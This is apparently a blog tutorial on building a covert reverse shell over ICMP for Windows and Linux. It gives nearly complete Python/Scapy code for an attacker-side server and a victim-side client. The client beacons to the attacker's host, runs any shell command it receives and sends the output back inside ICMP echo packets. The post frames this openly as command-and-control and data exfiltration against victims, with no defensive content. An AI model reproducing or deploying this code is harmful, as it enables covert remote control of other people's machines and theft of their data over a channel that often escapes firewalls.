Introduction
This post demonstrates a reverse shell over ICMP which will work on both windows and linux platforms. The idea is to create two different programs, a server program which will run on attacker controlled machine and a client program which when run on a victims machine will connect to the server program. Once connected, the client program will accept commands from server and will reply with the command output. Both client and server will make use of ICMP Echo messages to communicate.
How much data can ICMP hold? - ICMP Echo Message RFC
Below is the RFC of ICMP Echo message taken from RFC792
Echo or Echo Reply Message
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identifier | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data ...
+-+-+-+-+-
IP Fields:
Addresses
The address of the source in an echo message will be the
destination of the echo reply message. To form an echo reply
message, the source and destination addresses are simply reversed,
the type code changed to 0, and the checksum recomputed.
IP Fields:
Type
8 for echo message;
0 for echo reply message.
Code
0
Checksum
The checksum is the 16-bit ones's complement of the one's
complement sum of the ICMP message starting with the ICMP Type.
For computing the checksum , the checksum field should be zero.
If the total length is odd, the received data is padded with one
octet of zeros for computing the checksum. This checksum may be
replaced in the future.
Identifier
If code = 0, an identifier to aid in matching echos and replies,
may be zero.
Sequence Number
[Page 14]
September 1981
RFC 792
If code = 0, a sequence number to aid in matching echos and
replies, may be zero.
Description
The data received in the echo message must be returned in the echo
reply message.
The identifier and sequence number may be used by the echo sender
to aid in matching the replies with the echo requests. For
example, the identifier might be used like a port in TCP or UDP to
identify a session, and the sequence number might be incremented
on each echo request sent. The echoer returns these same values
in the echo reply.
Code 0 may be received from a gateway or a host.
The maximum allowed size of a IPv4 network packet is 65535, we will have enough space to accomodate data since IP and ICMP headers sizes are small (20 and 8). We will have 65507 bytes for ICMP data.
Supported OS and Pre-Requisites
Operating System:
- Linux
- Windows (requires npcap)
Python Requirements:
- Scapy -
pip install scapy
ICMP Exfiltration Server
The ICMP exfiltration server will be run on the attacker controlled machine performs the following actions.
- Listens for ICMP packets on network interface specified by the user.
- Once a victim is connected, the server will provide a prompt to interact with the victim.
- From the interactive prompt, commands can be run on the client.
main() function
The server program starts from the main() function. It does the following.
- Defines the command line argument to specify the netword adapter / interface to listen for ICMP packets.
- Listens for client connections by calling
listen_clientconnection()
until valid connection from client. - Once client connected, starts the interactive prompt.
def main():
global interface, client
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", help="Interface to listen", required=True)
args = parser.parse_args()
interface = args.interface
connected = False
while not connected:
connected = listen_clientconnection()
prompt = CLIPrompt()
prompt.prompt = '> '
prompt.cmdloop('[*] Starting ICMP Exfil Command Shell...')
listen_clientconnection() function
- Captures ICMP packets on the interface specified
- Checks if the ICMP packet type is
ICMP Echo
(Type 8 - Refer) - If the packet is ICMP Echo, then packet contents are retrieved.
- IP address is also taken from packet.
- The server checks if the string
EXFIL_BEGIN
is present in captured packet content. If yes, it decides that a cient is connected and returnsTrue
.
The client will be sending
EXFIL_BEGIN
string in ICMP Echo packets to start the communication with the exfiltration server.
def listen_clientconnection():
print ("[*] Listening for connections on interface: %s" % interface)
captured = sniff(iface=interface, count=1,filter="icmp")
inc_data = ""
src_ip = ""
for packet in captured:
if packet[ICMP].type == 8:
inc_data = packet.load
if IP in packet:
src_ip = packet[IP].src
if "EXFIL_BEGIN" in inc_data:
print ("[+] Client Connected! \n\t IP: %s\n\t PLATFORM: %s" % (src_ip, inc_data[12:]))
client.append(src_ip)
return True
else:
return False
Exfiltration Command Loop
Once a victim/client is connected, an instance of the CLIPrompt() class is created. The command loop accepts two commands.
quit
orexit
terminate the command loop and connection to clientexfil
to send command to connected client.
The do_exfil()
function implements the exfil
command functionality. It accepts the following format.
exfil <command to be run on client>
- An ICMP echo packet is sent to the client with the command to be executed.
- Once the command is sent to the client, the
do_exfil()
function then captures ICMP packets coming from the client with following filter :icmp and ip host <client_ip>
- Once ICMP Echo packets are received from client, the output of the command sent by the client / victim is printed out.
class CLIPrompt(Cmd):
def do_quit(self, args):
"""Quits the program."""
print ("[*] Quitting.")
# also send exit command to client
self.do_exfil("exit")
raise SystemExit
def do_exfil(self, args):
if len(args) == 0:
print ("[*] exfil <command_to_run> or exit/quit")
return
command = args
ip = client[0]
send(IP(dst=ip) / ICMP() / command)
if command in ["quit", "exit"]:
print ("[*] Quitting.")
raise SystemExit
cap_filter = "icmp and ip host %s" % ip
captured_data = sniff(iface=interface, count=1, filter=cap_filter)
command_result = ""
for packet in captured_data:
if packet[ICMP].type == 8:
command_result = packet.load
print ("[+] Command Output:\n %s" % command_result)
Exfiltration Server Script
ICMP Exfiltration Client
Client program when executed will perform the following actions.
- Connects to the ICMP Exfiltration Server by calling
connect_c2(server_ip)
- Listens for incoming ICMP Echo packets from exfiltration server.
- Executes commands received from server and sends back the output.
main() method
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--icmp-c2", help="IP of ICMP C2", required=True)
args = parser.parse_args()
# send the init connection ping
connect_c2(args.icmp_c2)
# start exfil loop
exfil_client(args.icmp_c2)
- Defines the command line argument to accept the exfiltration server address.
- Invokes the
connect_c2()
method with the server address to connect to the exfiltration server. - Starts the command execution and exfiltration loop by calling the
exfil_client()
method.
connect_c2() method
def connect_c2(ip):
run_platform = platform.system()
if run_platform == "Linux":
INIT_STRING = "EXFIL_BEGIN_LINUX"
elif run_platform == "Windows":
INIT_STRING = "EXFIL_BEGIN_WINDOWS"
send(IP(dst=ip) / ICMP() / INIT_STRING)
Sends an ICMP Echo packet to the exfiltration server with below strings depending on the OS the client is running on.
- Windows :
EXFIL_BEGIN_WINDOWS
- Linux :
EXFIL_BEGIN_LINUX
exfil_client() method
def exfil_client(target_ip):
filtr = "icmp and ip host %s" % target_ip
while True:
captured = sniff(count=1,filter=filtr)
incoming_cmd = b""
for packet in captured:
if packet[ICMP].type == 8:
incoming_cmd = packet.load
if incoming_cmd:
command = incoming_cmd.decode()
print ("[*] Received Command: %s" % command)
if command in ["exit", "quit"]:
break
else:
try:
outtext = co(command, shell=True)
except:
outtext = "[-] Error Running Command! Check Command"
print ("[*] Exfiltrating command output")
send(IP(dst=target_ip) / ICMP() / outtext)
sys.exit()
- Captures ICMP packets from the exfiltration server with the filter
icmp and ip host <server_ip>
- Packet contents are retrieved if the packet type is ICMP echo.
- The retrieved packet content is the command to be executed.
- The command is executed with
subprocess.check_output()
method - The output of the command is then sent to the server as an ICMP Echo message.
Complete Client Script
Screenshots
Client / Victim Program Executed in Linux Platform
The server program is running on the left terminal, client on the right.
Client / Victim Program Executed in Windows Platform
Server Program
Client Program